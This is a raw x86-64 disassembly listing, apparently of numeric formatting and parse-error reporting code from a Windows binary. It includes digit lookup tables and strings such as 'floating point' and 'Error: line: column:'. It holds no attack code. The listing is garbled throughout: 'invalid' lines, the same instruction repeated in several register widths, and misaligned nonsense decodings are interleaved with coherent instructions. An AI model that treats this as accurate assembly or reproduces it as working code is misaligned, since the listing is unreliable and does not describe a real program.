out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
int1
add eax, 0xc1fff4d1
hlt
out dx, al
adc al, 0x31
rol byte [rcx - 0x7d], 0xf9
dec dword [rdi]
xchg ebp, eax
shr byte [rcx], 0xc6
add r9d, esi
mov eax, r9d
neg eax
fadd dword [rcx + rcx*4 + 0x4c]
and al, 0x24
fadd dword [rcx + rcx*4 + 0x4c]
and al, 0x24
imul edx, r9d, 0x3ed6cb1
shr edx, 0x13
mov ecx, esi
insb byte [rdi], dx
in eax, dx
add eax, ecx
invalid
sub ecx, edx
shl rax, 4
lea rdx, [0x140146790]
mov rbx, qword [rax + rdx]
mov r8, qword [rax + rdx + 8]
mov r10, r11
fimul dword [rcx - 0x7d]
retf 0x4802
mov eax, ebx
mov eax, ebx
mul r10
mov r9, rdx
mov rax, r8
mul r10
mov r10, rdx
mov rdi, rax
add rdi, r9
adc r10, 0
add cl, 0x7c
and cl, 0x7f
xor cl, 0x40
shrd rdi, r10, cl
shr r10, cl
not r13
add r13, r11
mov rax, rbx
mul r13
mov r15, rdx
mov rax, r8
ror byte [rcx - 9], 0xe5
ror byte [rcx - 9], 0xe5
mov r9, rdx
mov r14, rax
mov esi, eax
add r14, r15
adc r9, 0
shrd r14, r9, cl
shr r9, cl
mov rax, rbx
mul r11
mov rbx, rdx
mov rax, r8
mul r11
mov r8, rdx
add rax, rbx
adc r8, 0
shrd rax, r8, cl
shr r8, cl
shr eax, cl
shr eax, cl
test cl, 0x40
cmove r10, rdi
cmove r9, r14
cmove r8, rax
cmp esi, 2
jae 0x1400cfea5
mov rax, qword [rsp + 0x90]
and eax, 1
sete cl
and r12b, cl
sub r10, rax
mov sil, 1
jmp 0x1400d001f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140147e89]
jmp 0x1400cfda0
adc eax, 0x781d7
mov r8d, 0xf
jmp case.0x1400a9119.250
invalid
mov rax, qword [rcx + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [0x1400199b0]
jmp 0x1400cfe57
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140147db0]
mov r8d, 0xa
jmp case.0x1400a9119.250
mov r8d, 0xc
jmp case.0x1400a9119.250
movups xmm0, xmmword [rcx + 8]
movups xmmword [rsp + 0x50], xmm0
or byte [r15], cl
adc dword [rsp + 0x50], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
sub byte [rax - 0x73], cl
add eax, 0xfff7d805
sub byte [rax - 0x73], cl
add eax, 0xfff7d805
mov qword [rsp + 0x30], rax
lea rax, str.string
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
jmp 0x1400cfe71
mov eax, dword [rcx + 4]
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140017f40]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x73], cl
add eax, 0x77fed
xor byte [rax - 0x73], cl
add eax, 0x77fed
jmp 0x1400cfe63
mov rax, qword [rcx + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [fcn.140012cc0]
invalid
hlt
invalid
mov qword [rsp + 0x30], rax
lea rax, str.integer__
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
jmp 0x1400d0386
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x140147eb1]
mov r8d, 0xe
jmp case.0x1400a9119.250
cmp esi, 0x3f
jae 0x1400cff04
test byte [rsp + 0x90], 1
je 0x1400cff0f
mov ecx, 0xffffffff
nop word cs:[rax + rax]
imul r12, rbp
inc ecx
cmp r12, rax
jbe 0x1400cfef0
cmp ecx, r15d
adc r10, 0xffffffffffffffff
jmp 0x1400cff34
not r13
add r13, r11
mov ecx, 0xffffffff
nop word [rax + rax]
imul r13, rbp
inc ecx
cmp r13, rax
jbe 0x1400cff20
cmp ecx, r15d
jae 0x1400d0012
mov ebx, r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
shr rax, 2
movabs rdi, 0x28f5c28f5c28f5c3
mul rdi
mov r11, rdx
shr r11, 2
mov rax, r9
shr rax, 2
mul rdi
mov rcx, rdx
shr rcx, 2
xor esi, esi
cmp r11, rcx
jbe 0x1400cff95
mov r10, r8
mov rcx, rdx
mov rax, r8
mul rbp
mov r8, rdx
shr r8, 3
inc r14d
mov rax, r9
mul rbp
mov r9, rdx
mov rax, rcx
mul rbp
shr r9, 3
shr rdx, 3
cmp r9, rdx
sal dword [rdi - 0x32], 1
sal dword [rdi - 0x32], 1
lea eax, [r8 + r8]
lea eax, [rax + rax*4]
sub r10d, eax
cmp r10d, 5
setae sil
cmp r8, rcx
sete al
or al, sil
jmp case.0x140070bc3.504
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x4c], al
add dword [rcx], esi
test byte [rcx + rcx*4 - 8], 0x44
mov dword [rsp + 0x24], edi
mov r12b, 1
xor esi, esi
mov eax, r15d
mov dword [rsp + 0x24], r15d
mov r15, qword [rsp + 0x40]
mov rax, r10
mul rbp
mov r11, rdx
shr r11, 3
jmp 0x1400d0034
mov rax, r9
jmp 0x1400d0034
mul rbp
shr rdx, 3
xor edi, edi
xor r14d, r14d
test byte [rcx + 0x39], 0xd3
test byte [rcx + 0x39], 0xd3
jbe 0x1400d00ac
xor ebx, ebx
nop word [rax + rax]
mov rcx, rdx
lea edi, [rdx + rdx]
mov rax, r8
mul rbp
mov r10, rdx
lea eax, [rdi + rdi*4]
shr r10, 3
lea edx, [r10 + r10]
lea edi, [rdx + rdx*4]
neg edi
add dil, r8b
cmp eax, r9d
sete al
and r12b, al
and ah, al
test bl, bl
sete al
and sil, al
mov rax, r11
mul rbp
inc r14d
mov r11, rdx
shr r11, 3
jmp 0x1400d0096
mov rax, rcx
invalid
jmp 0x1400d0096
mul rbp
mul ebp
shr rdx, 3
mov r8, r10
mov r9, rcx
ror byte [rcx - 0x77], 1
leave
mov ebx, edi
cmp r11, rdx
ja 0x1400d0050
jmp 0x1400d00b2
mov rcx, r9
mov ecx, ecx
mov r10, r8
xor r12b, 1
jne 0x1400d012a
ret 0x8041
mov rax, rcx
mov eax, ecx
mul rbp
mov r9, rdx
mov ecx, edx
shr r9, 3
lea eax, [r9 + r9]
lea eax, [rax + rax*4]
cmp eax, ecx
enter 0x5c8b, 0x24
invalid
enter 0x5c8b, 0x24
and al, 0x75
invalid
pop rsp
and al, 0x24
jne 0x1400d0136
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rax, r10
mul rbp
mov r8, rdx
in eax, 0x49
mov eax, edx
shr r8, 3
lea eax, [r8 + r8]
lea r11d, [rax + rax*4]
neg r11d
add r11b, r10b
test dil, dil
sete al
and sil, al
inc r14d
inc esi
inc esi
mov rax, r9
mul rbp
shr rdx, 3
lea eax, [rdx + rdx]
lea eax, [rax + rax*4]
mov rcx, r9
mov r10, r8
mov edi, r11d
cmp eax, r9d
cmp eax, ecx
cmp eax, ecx
mov r9, rdx
je 0x1400d00e0
jmp 0x1400d013c
adc al, byte [rcx - 0x77]
sti
mov r11d, edi
mov r8, r10
mov ebx, dword [rsp + 0x24]
jmp 0x1400d013c
mov r11d, edi
mov r8, r10
rol byte [rcx + rcx*4 - 0x40], 1
mov eax, eax
mov eax, eax
and al, 1
or al, 4
cmp r11b, 5
sti
add eax, 0xd3b60f41
sti
add eax, 0xd3b60f41
movzx eax, al
cmovne eax, edx
test sil, sil
cmove eax, edx
ret 0x3949
enter 0xffffffffffff940f, 0xffffffffffffffc1
ret 0x3949
enter 0xffffffffffff940f, 0xffffffffffffffc1
ror dword [rax - 0x75], 0x94
and al, 0x90
nop
mov rdx, qword [rsp + 0x90]
or dl, r12b
invalid
nop
add byte [rax], al
add byte [rax + rcx - 0x1e], al
invalid
loop 0x1400d0189
and dl, cl
cmp al, 5
setae al
or al, dl
retf 0x53c
add r14d, ebx
movzx ecx, al
mov dh, 0xc8
mov dh, 0xc8
add rcx, r8
mov eax, 0x11
add byte [rax], al
add byte [rax], al
movabs rdx, 0x2386f26fc0ffff
and eax, dword [rax]
cmp rcx, rdx
ja case.0x140095d16.346
xchg dword [rcx], ecx
add dword [rax], eax
invalid
xchg dword [rcx], ecx
add dword [rax], eax
add byte [rax + 0x10], bh
mov eax, 0x10
movabs rdx, 0x38d7ea4c67fff
cmp rcx, rdx
ja case.0x140095d16.346
invalid
mov eax, 0xf
add byte [rax], al
movabs rdx, 0x5af3107a3fff
pop rdx
add byte [rax], al
cmp rcx, rdx
ja case.0x140095d16.346
fld dword [rax]
add byte [rax], al
fld dword [rax]
add byte [rax], al
mov rdx, rcx
shr rdx, 0xd
mov eax, 0xe
cmp rdx, 0x48c27394
ja case.0x140095d16.346
invalid
xchg esp, eax
jae 0x1400d0196
add byte [rax - 0x77], cl
retf 0xc148
mov rdx, rcx
shr rdx, 0xc
mov eax, 0xd
add byte [rax], al
add byte [rax], al
cmp rdx, 0xe8d4a50
lea rcx, [rsi]
ja case.0x140095d16.346
add byte [rax - 0x77], cl
mov rdx, rcx
shr rdx, 0xb
retf 0xc148
mov eax, 0xc
cmp rdx, 0x2e90edc
cmp edx, 0x2e90edc
cmp edx, 0x2e90edc
invalid
jmp 0xce94110c
add cl, byte [rdi]
xchg dword [rsi + 0x48000000], ecx
add byte [rax], al
add byte [rax - 0x77], cl
invalid
ja case.0x140095d16.346
add byte [rax], al
add byte [rax - 0x77], cl
retf 0xc148
mov rdx, rcx
shr rdx, 0xa
mov eax, 0xb
or eax, dword [rax]
add byte [rax], al
invalid
or eax, dword [rax]
add byte [rax], al
cmp rdx, 0x9502f8
ja case.0x140095d16.346
invalid
cli
clc
add dl, byte [rbp - 0x47868900]
jns 0x1400d01db
mov eax, 0xa
or al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x7f], cl
stc
dec ecx
invalid
cmp rcx, 0x3b9ac9ff
ja case.0x140095d16.346
mov eax, 9
or dword [rax], eax
add byte [rax], al
cmp rcx, 0x5f5e0ff
ja case.0x140095d16.346
pop rbp
loopne 0x1400d0230
add eax, 0x8b85d77
add byte [rax], al
pop rbp
mov eax, 8
cmp rcx, 0x98967f
xchg esi, eax
cwde
invalid
add byte [rax - 0x7f], cl
stc
jg 0x1400d01de
xchg esi, eax
xchg esi, eax
cwde
add byte [rdi + 0x4f], dh
ja case.0x140095d16.346
ja case.0x140095d16.346
movabs r8, 0x3ff9814800000007
mov eax, 7
invalid
cmp rcx, 0xf423f
ja case.0x140095d16.346
invalid
invalid
mov r8d, 6
mov eax, 6
add byte [rax - 0x7f], cl
stc
lahf
xchg byte [rcx], al
cmp rcx, 0x1869f
add byte [rdi + 0x33], dh
ja case.0x140095d16.346
mov eax, 5
add eax, 0x48000000
cmp ecx, 0x270f
invalid
add byte [rax], al
cmp rcx, 0x270f
invalid
ja case.0x140095d16.346
and eax, 0x4b8
mov eax, 4
cmp rcx, 0x3e7
invalid
add byte [rax - 0x7f], cl
stc
out 3, eax
add byte [rax], al
invalid
add byte [rdi + 0x17], dh
ja case.0x140095d16.346
mov eax, 3
add eax, dword [rax]
add byte [rax], al
cmp rcx, 0x63
stc
invalid
ja case.0x140095d16.346
cmp rcx, 0xa
mov eax, 1
add byte [rax], al
stc
or bh, byte [rax + 1]
add byte [rax], al
add byte [rax], al
sbb eax, 0xffffffff
mov edi, eax
movsxd rbx, r14d
lea rsi, [rdi + rbx]
lea esi, [rdi + rbx]
invalid
fimul word [rax - 0x73]
xor al, 0x1f
lea esi, [rdi + rbx]
test ebx, ebx
js 0x1400d02e8
fstp xword [rax + 0x40]
cmp rsi, 0x11
cmp esi, 0x11
adc dword [rbp + 0x3a], edi
jge 0x1400d02e8
cmp cl, byte [rdx - 0x73]
add al, 0x3c
lea rax, [rsp + r15]
add rax, 0x28
add rdi, rax
mov rdx, rdi
mov edx, edi
call fcn.1400cec60
lahf
jmp 0xc55302c2
invalid
invalid
test r14d, r14d
je 0x1400d02d3
invalid
or eax, 0xb2f98948
xor byte [rcx - 0x77], cl
mov r8, rbx
invalid
mov rcx, rdi
mov dl, 0x30
mov r8, rbx
call fcn.140106cb0
invalid
lea rax, [rsi + r15]
add al, 0x3e
mov word ds:[rsp + rax + 0x28], 0x302e
mov word [rsp + rax + 0x28], 0x302e
add al, 0x28
xor byte cs:[rdx - 0x73], cl
xor byte [rdx - 0x73], cl
sub byte [rsi], ch
xor byte [rdx - 0x73], cl
lea rbx, [rsi + r15]
sbb al, 0x3e
add rbx, 2
add rbx, 2
add ebx, 2
add ch, bl
lea rbx, [rsi - 1]
pop rsi
invalid
jmp case.0x140096fc6.341
lea rbx, [rsi - 1]
pop rsi
dec dword [rax - 0x7d]
invalid
sti
cmp rbx, 0x10
jae 0x1400d03bb
add ebp, 0
add byte [rax], al
invalid
adc byte [rdi], cl
add ebp, 0
add byte [rax], al
invalid
invalid
add byte [rcx - 0x73], cl
add al, 0x3f
invalid
lea rax, [r15 + rdi]
invalid
lea rbx, [r15 + rdi]
inc rbx
invalid
lea rdx, [rsp + rax]
add rdx, 0x29
add edx, 0x29
add edx, 0x29
call fcn.1400cec60
dec dword [rdx - 0x73]
cmp al, 0x3c
invalid
lea rdi, [rsp + r15]
cmp al, 0x48
add rdi, 0x28
add edi, 0x28
sub byte [rdx - 0x73], cl
adc al, 0x3c
invalid
lea rdx, [rsp + r15]
cmp al, 0x48
add edx, 0x29
invalid
add rdx, 0x29
sub dword [rax - 0x77], ecx
stc
mov rcx, rdi
mov r8, rsi
mov eax, esi
call fcn.140106530
invalid
mov byte [rsi + rdi], 0x2e
lea rax, [rsp + 0x28]
sub byte [rax - 0x75], cl
push rsp
mov rdx, qword [rsp + 0x48]
and al, 0x48
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x58], rbx
pop rsp
and al, 0x58
lea rax, [rsp + 0x50]
lea eax, [rsp + 0x50]
push rax
mov qword [rsp + 0x98], rax
lea rax, [0x1400e6970]
sbb esp, dword [rsi + 1]
invalid
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x1661b
sbb esp, dword [rsi + 1]
invalid
sbb esp, dword [rsi + 1]
add byte [rax - 0x77], cl
invalid
invalid
test byte [rax + riz*4], ah
add word [rax], ax
mov qword [rsp + 0xa0], rax
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str.floating_point___
lea rax, str.floating_point___
lea eax, [0x140148cc8]
mov dword [rdi], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], 2
push 2
add al, byte [rax]
add byte [rax], al
invalid
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
test byte [rax + rbx*4], ah
and al, 0x98
lea rax, [rsp + 0x98]
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
and al, 0x70
mov qword [rsp + 0x70], rax
and al, 0x70
jo 0x1400d03d4
mov qword [rsp + 0x78], 1
mov dword [rsp + 0x78], 1
and al, 0x78
and al, 0x78
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x60]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
lea r8, [rsp + 0x60]
lea eax, [rsp + 0x60]
call fcn.140013990
invalid
call qword [rax - 0x573b7eb8]
add byte [rax], al
nop
add rsp, 0xa8
invalid
test al, 0
add byte [rax], al
invalid
invalid
test al, 0
add byte [rax], al
invalid
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rdi
ret
lea rax, [rsi + 4]
cmp rax, 5
clc
invalid
add al, 0x48
cmp eax, 5
clc
invalid
clc
add eax, 0x42665f73
mov dword [rsp + rdi + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
invalid
invalid
jae 0x1400d0424
mov word [rsp + r15 + 0x28], 0x2e30
mov dword [rsp + r15 + 0x28], 0x2bb2e30
cmp al, 0x28
xor byte [rsi], ch
sub byte [rax], dh
mov ebx, 2
mov ebx, 2
mov ebx, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x29], cl
sub rbx, rsi
test rsi, rsi
test rsi, rsi
jns 0x1400d0404
lea rax, [rsp + r15]
cmp al, 0x48
add eax, 0x2a
invalid
add rax, 0x2a
sub cl, byte [rax - 0x7d]
sti
cmp rbx, 4
add al, 0x41
mov eax, 3
add byte [rax], al
invalid
mov r8d, 3
add byte [rax], al
add byte [rdi + rcx + 0x4d], cl
cmovge eax, ebx
add byte [rax], al
cmovge r8, rbx
add r8, 0xfffffffffffffffe
add eax, 0xfffffffe
add eax, 0xfffffffe
mov rsi, rcx
mov rcx, rax
invalid
invalid
sal dword [rdx + 0x68afe830], 3
add byte [rax - 0x77], cl
invalid
invalid
mov dl, 0x30
call fcn.140106cb0
scasd eax, dword [rdi]
invalid
add eax, dword [rax]
scasd eax, dword [rdi]
push 0xffffffff89480003
add eax, dword [rax]
mov rcx, rsi
mov ecx, esi
int1
add r15, rdi
add edi, edi
dec dword [rcx + 1]
fisttp word [rdx - 0x73]
adc al, 0x3c
invalid
add r15, rbx
lea rdx, [rsp + r15]
invalid
cmp al, 0x48
add edx, 0x28
add rdx, 0x28
call fcn.1400cec60
lea rax, [rsp + 0x28]
and al, 0x28
dec dword [rax - 0x73]
and al, 0x28
and al, 0x28
mov rbx, r15
mov ebx, edi
sti
jmp 0x1400d0332
invalid
invalid
cmp edi, 1
jne case.0x140096fc6.350
add cl, 0x30
mov byte [rsp + r15 + 0x28], cl
cmp al, 0x28
xor byte [rdx - 0x78], al
cmp al, 0x28
mov byte [rsp + r15 + 0x29], 0x65
mov byte [rsp + rdi + 0x29], 0x65
sub dword [rbp + 0x4a], esp
lea eax, [rsp + rdi]
add al, 0x3c
lea rax, gs:[rsp + r15]
lea rax, [rsp + r15]
add al, 0x3c
cmp al, 0x48
add eax, 0x2a
invalid
invalid
add rax, 0x2a
shr byte [rdx], 0x48
test esi, esi
invalid
sub cl, byte [rax - 0x7b]
test byte [rax - 0x75], 0x54
and al, 0x48
invalid
test rsi, rsi
mov rdx, qword [rsp + 0x48]
jle 0x1400d048b
jle 0x1400d048b
mov rcx, rbx
mov ecx, ebx
jmp 0x1400d0499
lea r14, [r15 + rdi]
invalid
lea rdx, [rsp + r14]
lea edx, [rsp + rsi]
xor al, 0x48
add edx, 0x29
invalid
add rdx, 0x29
call fcn.1400cec60
movzx eax, byte [rsp + r15 + 0x29]
cmp al, 0x29
cmp al, 0x29
mov byte [rsp + r15 + 0x28], al
mov byte [rsp + rdi + 0x28], al
mov byte [rsp + r15 + 0x29], 0x2e
cmp al, 0x29
mov byte cs:[rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
sub dword [rsi], ebp
mov byte [rsp + r14 + 0x29], 0x65
mov byte [rsp + rsi + 0x29], 0x65
xor al, 0x29
lea rcx, gs:[rsp + r14]
lea rcx, [rsp + r14]
lea rcx, [rsp + r14]
add rcx, 0x2a
test rsi, rsi
jle case.0x14009fa62.297
invalid
jg 0x1400d04cd
mov r8, rbx
mov eax, ebx
jmp case.0x1400b4fd6.216
add byte [rax], al
add dh, al
add byte [0xf9ce03da], ch
sub eax, 0xb9c0ff48
mov byte [rax], 0x2d
sub eax, 0xb9c0ff48
inc rax
mov ecx, 1
add dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
invalid
sub rcx, rsi
sub ecx, esi
or r15, 2
or edi, 2
cmp rcx, 0x63
cmp ecx, 0x63
jbe 0x1400d04dc
cmp dword [rcx - 0x77], eax
mov r8d, ecx
enter 0x694d, 0xffffffffffffffc0
imul r8, r8, 0x51eb851f
invalid
test ebx, ebp
push rcx
jmp case.0x140095e7c.364
shr r8, 0x25
lea r9d, [r8 + 0x30]
mov byte [rax], r9b
mov byte [rax], cl
mov byte [rax], cl
imul r8d, r8d, 0x64
sub ecx, r8d
invalid
shl byte [rsp + rax*2 + 0x29], 0xc1
ror dword [rbp + rcx*4 + 5], 0x2a
ja 0x1400d04cc
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add eax, 0x7772a
add byte [rcx + 0xf], al
mov bh, 0xc
invalid
movzx ecx, word [r8 + rcx*2]
mov word [rax + 1], cx
mov word [rax + 1], cx
mov dword [rax + 1], ecx
add qword [rax - 0x3f], rcx
jmp case.0x140096fc6.338
invalid
shr rbx, 0x3f
add rbx, 3
ret
add ebp, ecx
stosd dword [rdi], eax
add byte [rax], al
add byte [rax], al
invalid
add ebp, ecx
stosd dword [rdi], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
stc
or dword [rdi], ecx
cmp rcx, 9
cmp ecx, 9
jbe 0x1400d057b
xchg byte [rbp + 0x4c000000], dl
lea eax, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
ja 0x1400d04f3
invalid
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
add esi, dword [rdi + 7]
ja 0x1400d04f3
add byte [rcx + 0xf], al
movzx ecx, word [r8 + rcx*2]
movzx ecx, word [rax + rcx*2]
mov bh, 0xc
mov word [rax], cx
mov word [rax], cx
or al, 0x48
mov word [rax], cx
mov dword [rax], ecx
shr rbx, 0x3f
shr ebx, 0x3f
or rbx, 2
jmp 0x1400d0587
test dword [rax], eax
add byte [rax], al
invalid
mov byte [rcx], 0x2d
inc rcx
inc ecx
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
sub r8, rsi
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
lea rax, [r15 + rdi]
lea rax, [r15 + rdi]
invalid
add rax, 2
cmp r8, 0x63
cmp eax, 0x63
invalid
jbe 0x1400d055b
mov r9d, r8d
mov ecx, eax
ror dword [rbp + 0x69], 0xc9
invalid
imul r9, r9, 0x51eb851f
push rcx
shr r9, 0x25
lea r10d, [r9 + 0x30]
invalid
and eax, 0x30518d45
xor byte [rax + rcx*4 + 0x11], al
mov byte [rcx], r10b
imul r9d, r9d, 0x64
imul ecx, ecx, 0x64
sub r8d, r9d
sub eax, ecx
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
lea ecx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
or eax, 0x776a9
test eax, 0x47000776
movzx eax, word [rcx + rax*2]
mov bh, 4
invalid
movzx r8d, word [r9 + r8*2]
mov bh, 4
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
add al, 0x41
mov word [rcx + 1], r8w
mov dword [rcx + 1], r8d
shr rbx, 0x3f
add rbx, 3
add ebx, 3
jmp 0x1400d05a2
cmp r8, 9
cmp r8, 9
clc
or dword [rsi + 0x33], esi
jbe 0x1400d0594
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx r8d, word [r9 + r8*2]
movzx eax, word [rcx + rax*2]
jbe 0x1400d056e
invalid
add byte [rdi + 0xf], al
mov bh, 4
mov word [rcx], r8w
mov word [rcx], r8w
movzx eax, word [rcx + rax*2]
mov word [rcx], r8w
mov dword [rcx], r8d
shr rbx, 0x3f
shr ebx, 0x3f
or rbx, 2
or ebx, 2
jmp 0x1400d05a2
invalid
or cl, 0x30
mov byte [rax], cl
shr rbx, 0x3f
shr ebx, 0x3f
shr ebx, 0x3f
inc rbx
inc ebx
add rbx, r15
sti
lea rax, [rsp + 0x28]
and al, 0x28
sub cl, ch
movabs dword [0x4430c88041fffffd], eax
invalid
inc dword [rcx - 0x80]
or al, 0x30
mov byte [rcx], r8b
jmp case.0x1400c3039.161
std
invalid
or r8b, 0x30
or al, 0x30
mov byte [rcx], r8b
shr rbx, 0x3f
inc rbx
ret
jmp 0x1400d05de
ret
add rbx, rax
lea rax, [rsp + 0x28]
sub cl, ch
mov ch, bh
jmp case.0x1400c3039.161
invalid
dec dword [rdi]
or ecx, esp
int3
int3
ud2
int3
int3
push rdi
push rbx
sub rsp, 0xc0
in al, dx
rol byte [rax], 0
invalid
in al, dx
rol byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov rsi, rdx
mov rdi, qword [rcx]
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x50], 0
and al, 0x50
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 1
pop rax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x60
invalid
mov qword [rsp + 0x60], 0
and al, 0x60
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], 0x20
and al, 0xb0
add byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rdi*4], ah
and al, 0xb8
add byte [rax], al
and byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0xb8], 3
and al, 0xb8
add byte [rax], al
add byte [rbx], al
add ecx, dword [rax - 0x39]
test byte [rax + rax*4], ah
and al, 0x80
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x50]
and al, 0x50
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
and al, 0x50
mov qword [rsp + 0xa0], rax
lea rax, [0x140147ed0]
lea eax, [0x140147ed0]
invalid
invalid
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add eax, 0x778a5
invalid
mov qword [rsp + 0xa8], rax
lea rbx, [rsp + 0x80]
pushfq
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax - 0x73], cl
pushfq
and al, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call 0x1400d07f0
stosb byte [rdi], al
add dword [rax], eax
add byte [rax + rax*8 + 0xc8850f], al
test al, al
jne 0x1400d0716
enter 0, 0
test al, al
jne 0x1400d0716
enter 0, 0
movups xmm0, xmmword [rsp + 0x50]
and al, 0x50
push rax
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [rdi + 0x18]
add rdi, 0x20
lea rcx, [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
mov word [rax + rax*4], fs
and al, 0x80
mov qword [rsp + 0x80], rcx
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x432
lea rcx, [0x1400d0ab0]
xor al, byte [rax + rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x88], rcx
invalid
invalid
test byte [rax + rdx*4], ah
and al, 0x90
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [fcn.140012cc0]
lea rax, [fcn.140012cc0]
sub esp, dword [rsi]
hlt
hlt
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x98], eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov esp, 0xa024
add byte [rax], al
mov qword [rsp + 0xa0], rdi
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x140148c30]
lea rax, str.Error___line:___column:
lea eax, [0x140148c30]
invalid
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x58], 4
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x70
jo 0x1400d06c8
add byte [rax], al
invalid
mov qword [rsp + 0x70], 0
jo 0x1400d06c8
add byte [rax], al
add byte [rax - 0x77], cl
pop rsp
mov qword [rsp + 0x60], rbx
and al, 0x60
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
invalid
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
mov edx, dword [rsi + 0x28]
lea r8, [rsp + 0x50]
lea eax, [rsp + 0x50]
